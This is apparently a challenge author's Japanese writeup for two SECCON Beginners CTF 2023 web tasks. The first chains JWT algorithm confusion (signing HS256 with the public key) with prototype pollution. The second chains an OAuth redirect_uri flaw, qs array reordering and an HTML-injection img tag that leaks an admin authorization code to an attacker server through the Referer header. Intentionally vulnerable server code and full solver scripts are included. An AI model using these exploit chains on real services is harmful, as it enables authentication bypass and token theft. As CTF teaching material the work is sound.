SECCON Beginners CTF 2023[Web] double check, oooauth 作問者writeup

Posted on Jun 4, 2023

SECCON Beginners CTF 2023で出題したWeb問題double check、oooauthの作問者writeupです。 problems

double check(難易度 Medium)

JWTを用いた認証機能の脆弱性とPrototype Pollutionの脆弱性を連鎖的に悪用する問題です。

問題の実装は以下です。

const express = require("express");
const session = require("express-session");
const jwt = require("jsonwebtoken");
const _ = require("lodash");

const { readKeyFromFile, generateRandomString, getAdminPassword } = require("./utils");

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

const app = express();
app.use(express.json());

app.use(session({
  secret: generateRandomString(),
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false }
}));

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;

  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

app.listen(PORT, HOST, () => {
  console.log(`Server is running on port ${PORT}`);
});

以下2つのエンドポイントが存在します。

  • ユーザーを登録するためのエンドポイント(/register
    • usernamepasswordを受け取って、ユーザーオブジェクトをセッションに保存します。
    • ユーザーオブジェクトをpayloadとするJWTを発行し、レスポンスのAuthorizationヘッダにセットします。
  • flagを取得するためのエンドポイント(/flag
    • AuthorizationヘッダにセットされたJWTを受け取って検証します。
    • token.adminuser.adminが両方ともtrueとなる場合にflagを返します。

通常はJWTの署名アルゴリズムとしてRS256が使用され、秘密鍵を用いて署名がなされます。

signed = jwt.sign(
    _.omit(user, ['password']),
    readKeyFromFile('keys/private.key'), 
    { algorithm: 'RS256', expiresIn: '1h' } 
);

JWTの署名検証部分では、RS256の他にHS256を使用することが可能となっています。

verified = jwt.verify(
    req.header('Authorization'),
    readKeyFromFile('keys/public.key'), 
    { algorithms: ['RS256', 'HS256']
});

ここでは、RS256の公開鍵をHS256の共通鍵として使用する攻撃が可能となります。署名アルゴリズムをHS256に設定したJWTに、配布ファイルから得た公開鍵を用いた署名を付与することで署名の検証をパスできます(参考)。これにより、JWTのpayloadを改ざんすることが可能となりました。

ここでJWTのpayloadにadmin: trueを含めることを考えますが、adminでない場合はJWTのpayloadのadminパラメータが削除されるため、この攻撃は防がれてしまいます。そこで、以下の部分に着目します。

if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ['admin']);
}

const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);

if (token.admin && user.admin) {
    res.send(`Congratulations! Here's your flag: ${FLAG}`);
    return;
}

ここではObject.assign()が使用され、verifiedの全てのプロパティの値を空のオブジェクトとreq.session.userにコピーし、それぞれがtokenuserの2つの変数に格納されます。

ここで、jwtのpayloadに__proto__.admin: trueを加えることでtoken.admin && user.adminの検証をパスできます。これは、jwtのpayloadがJSON.parse()によってJSON文字列からJavascriptのオブジェクトに変換されObject.assign()により__proto__を介してadminパラメータがverifiedにコピーされることに起因します(参考)。

> const jwt_payload = '{"__proto__": { "admin": true }}';
> const verified = JSON.parse(jwt_payload);
> verified
{ ['__proto__']: { admin: true } }
> const token = Object.assign({}, verified);
> token.admin
true

最終的に以下のPythonスクリプトを用いてflagを取得することができます。

import os
import json
import sys
import requests
import jwt
import textwrap

def solve(url):
    # /register
    register_data = {
        "username": "alice",
        "password": "password"
    }

    s = requests.Session()

    register_response = s.post(f'{url}/register', json=register_data)

    if register_response.status_code != 200:
        print(f"Register request failed: {register_response.status_code}, {register_response.text}")
        sys.exit()

    # /flag
    payload = {
        "__proto__": {
            "admin": True
        }
    }

    pubkey = textwrap.dedent('''-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3NcjHBbKAAhJd6P+TviV
h/WRXtxtKBJLPQYIlmZ/I35WlQLpNXR9Q0YiQLMNW0E3MTHISQlQE5hBF8S2Z2tC
0SmiAMr3QQjaIA3vmefA/CXSp4YjIbKz75Nwzczk7spYiVwEbYoLOpovnl+KB6Tj
XJWCFXvgpL6xYu9Se8msgqVIl+cWANlmPdBuDRvF/7KUboHsdZsn1mL88JoTnk9u
sVp9PP+bpbcFEzwzfS+YkjwUhXFHHNPqsu9eKZZlpkRbl3lZzzxgX4G/bh3BkaCO
wp4Pv1ptk8NJH8N96USDw3Lpgc6wGReoyCBY7Dtg1a3IHNjQQwQg+rd+1yUUfPAe
qa9MbLWr3hYQn+9G4SxTwmWptGJLLjZMzfELtGxiZTHlnifP4nHSNJ8WdGJ63YU9
7LiwkWsE8BVIPi+f/oNIbhhgJzGSD57mkdN0wNloN0I+83/0g2TnVSvkSM5ow/E9
h2w/qaT9LfjtYiZbFFc95lwcaR1nUO/hmZ2okTt7Nh5tlefbvHNSyHMFuvTiEanI
xO2kJIXugy9h9pNAX8jlNHNQWT1WM5HI3t8aMcsucjOT9wTWh7Hl0qxrO4f7f2kP
HODGSRQ/uR9czPYtXP4HPAPUToZ9Xzc5Voj3Q/bzRcAnkKH6fmUOtLPd2XhTDTFl
A5kHBxj92CnlYq6/bQdXDy0CAwEAAQ==
-----END PUBLIC KEY-----
    ''')

    forged_jwt = jwt.encode(payload, pubkey, algorithm="HS256")

    headers = {
        "Authorization": forged_jwt.decode(),
        "Content-Type": "application/json"
    }

    flag_response = s.post(f'{url}/flag', headers=headers)

    if flag_response.status_code != 200:
        print(f"Get flag request failed: {flag_response.status_code}, {flag_response.text}")
        sys.exit()

    return flag_response.text

if __name__ == "__main__":
    flag = solve("https://double-check.beginners.seccon.games")
    print(flag) 
$ python3 solver.py
Congratulations! Here's your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}

oooauth(難易度 Hard)

OAuth2.0の実装上生まれる複数の脆弱性を連鎖的に悪用する問題です。

OAuth2.0の詳細についてはRFC 6749を参照してください。

client/index.jsがclientの実装、server/index.jsがauthorization serverの実装となっています。

guestadminの2人のユーザーが存在しており、guestのパスワードのみわかる状態です。adminのアクセストークンを取得できるとflagが得られます。

app.post("/flag", (req, res) => {
  const access_token_value = req.body.access_token;
  const access_token = access_tokens[access_token_value];
  ...
  const user = getUserById(access_token.user_id);
  ...
  if (user.username === "admin") {
    res.status(200).send(`Congratulations! Here's your flag: ${FLAG}`);
  } else {
    res.status(200).send("No flag for you");
  }
});

server/index.js/authの実装を見るとredirect_uriの検証部分が不適切であり、任意のクエリパラメータを含めることが可能だと分かります。

if (!client.redirect_uris.includes(redirectUrl.origin+redirectUrl.pathname)) {
    res.status(400).json({ error: "invalid_request", error_description: "invalid redirect_uri" });
    return;
}

また、server/index.js/approveでは/authからセッション経由で引き継がれたredirect_uriにクエリパラメータとして認可コードcodeが追加され、そのURLにリダイレクトがなされます。認可コードは/tokenにおいてアクセストークンとの交換に使用されます。

const redirect_uri = req.session.redirect_uri;
...
redirectUrl.searchParams.append("code", code.value);
res.redirect(redirectUrl.href);

server/index.jsではapp.use(bodyParser.urlencoded({ extended: true }));が設定されており、リクエストボディの解析にqsライブラリが使用されるため、リクエストボディとして送信するオブジェクトが柔軟に操作できます。また、server/index.js/tokenではリクエストボディとして送信されるcodeの値が配列の場合に、配列の最後の要素がアクセストークンとの交換に使用され、削除されます。

const codeValue = Array.isArray(req.body.code)? req.body.code.slice(-1)[0] : req.body.code;
const code = codes.get(codeValue);
...
codes.delete(code.value);

そして、authorization serverのReport機能を用いるとserver/index.js/authエンドポイントにクエリパラメータを付与して送信することができ、リダイレクト先の同意画面にてadminのユーザー名とパスワードが入力され送信されます。つまり、ここではadmin用に認可コードが発行され、アクセストークンとの交換に使用するために消費されます。

await page.goto(SERVER_URL + "/auth" + query, {
    waitUntil: "networkidle2",
    timeout: 3000, 
}); 
await page.waitForSelector("input[name=username]");
await page.type("input[name=username]", USERNAME);
await page.type("input[name=password]", PASSWORD);
await page.click("input[name=approved]");

ここで、guest用に発行された認可コードをredirect_uriのクエリパラメータcodeとして送信し、admin用に発行された認可コードを消費させないことを考えます。この場合、通常は後からクエリパラメータとして追加されるadmin用に発行されたcodeが配列の最後の要素となります。

> qs.parse('code=guest-code&code=admin-code')
{ code: [ 'guest-code', 'admin-code' ] }

しかし、以下のようにするとguest用に発行されたcodeを配列の最後の要素にすることができます。これでguest用に発行された認可コードを消費させ、admin用に発行された認可コードを消費させないことが可能となりました。あとは、flagを得るためにURLのクエリパラメータに含まれるadmin用に発行された認可コードを窃取する必要があります。

> qs.parse('code[2]=guest-code&code=hoge&code=admin-code')
{ code: [ 'hoge', 'admin-code', 'guest-code' ] }

ここでclient/views/index.ejsではscopeの値の表示に<%- %>が使用されており、値がエスケープされずに表示される(参考)ことに気づきます。

<% if(scopes) { %>
    <p>Your Permissions:</p>
    <ul>
        <% scopes.forEach(function(scope) { %>
            <li><%- scope %></li>
        <% }); %>
    </ul>
<% }; %>

client/index.jsではCSPが設定されており、XSSでURLを窃取することは難しそうです。

app.use(function(req, res, next) {
  // CSP Setting
  const nonce = crypto.randomBytes(8).toString("hex");
  req.nonce = nonce; 
  res.setHeader("Content-Security-Policy", `script-src 'nonce-${nonce}'; connect-src 'self'; base-uri 'self'; object-src 'none';`);
  return next();
});

しかし、index.ejs<meta name="referrer" content="no-referrer-when-downgrade">が設定されており、このページから遷移した際のRefererヘッダにクエリパラメータを含む遷移元のURLが送信されます(参考)。HTMLインジェクションは可能であるため、imgタグなどをsrcに自身のサーバに設定した上で挿入するとRefererヘッダ経由でURLを窃取することができます。

最終的に以下のスクリプトを用いて生成したクエリパラメータをReport機能で送信することで、admin用に発行された認可コードを得ることができます。

import requests
import re
import urllib
import json
import time

def solve():
    CLIENT_URL = "https://oooauth.beginners.seccon.games:3000"
    SERVER_URL = "https://oooauth.beginners.seccon.games:3001"
    ATTACKER_URL = "自身のサーバのURL"

    s = requests.Session()

    auth_params = {
        "response_type": "code",
        "client_id": "oauth-client",
        "scopes": f'<img/src="{ATTACKER_URL}">',
        "redirect_uri": f'{CLIENT_URL}/callback'
    }
    auth_response = s.get(f"{SERVER_URL}/auth", params=auth_params)

    approve_data = {
        "approved": "true",
        "username": "guest",
        "password": "guest"
    }
    approve_response = s.post(f"{SERVER_URL}/approve", data=approve_data, allow_redirects=False)
    match = re.search(r'code=([0-9a-f]{32})', approve_response.text)
    guest_code = match.group(1)

    auth_params = {
        "response_type": "code",
        "client_id": "oauth-client",
        "scopes": "email profile",
        "redirect_uri": f"{CLIENT_URL}/callback?code[2]={guest_code}&code=hoge"
    }
    fishing_query = urllib.parse.urlencode(auth_params)
    print(fising_query)

if __name__ == "__main__":
    solve()

admin_code

あとは、admin用に発行された認可コードを使用してアクセストークンを取得することでflagを得ます。

admin

Congratulations! Here's your flag: ctf4b{J00_4re_7HE_vUlN_cH41n_m457eR_0F_04U7H}